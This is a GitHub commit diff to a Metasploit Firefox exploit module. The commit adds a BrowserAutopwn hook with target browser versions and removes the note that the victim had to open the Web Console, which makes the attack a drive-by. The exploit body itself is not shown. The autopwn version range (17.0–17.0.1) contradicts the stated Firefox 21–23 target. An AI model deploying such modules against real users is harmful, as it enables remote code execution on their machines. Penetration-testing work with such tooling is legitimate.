Skip to content

Commit 8c63c8f

Browse files
committed
Add browserautopwn hook now that this is not user-assisted.
1 parent 694d917 commit 8c63c8f

File tree

1 file changed

+10
-6
lines changed

1 file changed

+10
-6
lines changed

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -9,20 +9,24 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::BrowserExploitServer
12+
include Msf::Exploit::Remote::BrowserAutopwn
1213
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
1314

15+
autopwn_info({
16+
:ua_name => HttpClients::FF,
17+
:ua_minver => "17.0",
18+
:ua_maxver => "17.0.1",
19+
:javascript => true,
20+
:rank => NormalRanking
21+
})
22+
1423
def initialize(info = {})
1524
super(update_info(info,
16-
'Name' => 'Firefox toString User-Assisted Privileged Javascript Injection',
25+
'Name' => 'Firefox toString console.time Privileged Javascript Injection',
1726
'Description' => %q{
1827
This exploit gains remote code execution on Firefox 21-23 by abusing two separate
1928
Javascript-related vulnerabilities to ultimately inject malicious Javascript code
2029
into a context running with chrome:// privileges.
21-
22-
For the exploit to work, the user must have the Web Console open. There is no way to
23-
trigger this from unprivileged Javascript, so for now a message is displayed telling
24-
the user that there is an error and to press cmd-option-k to open the Web Console,
25-
upon which the exploit will immediately run.
2630
},
2731
'License' => MSF_LICENSE,
2832
'Author' => [

0 commit comments

Comments
 (0)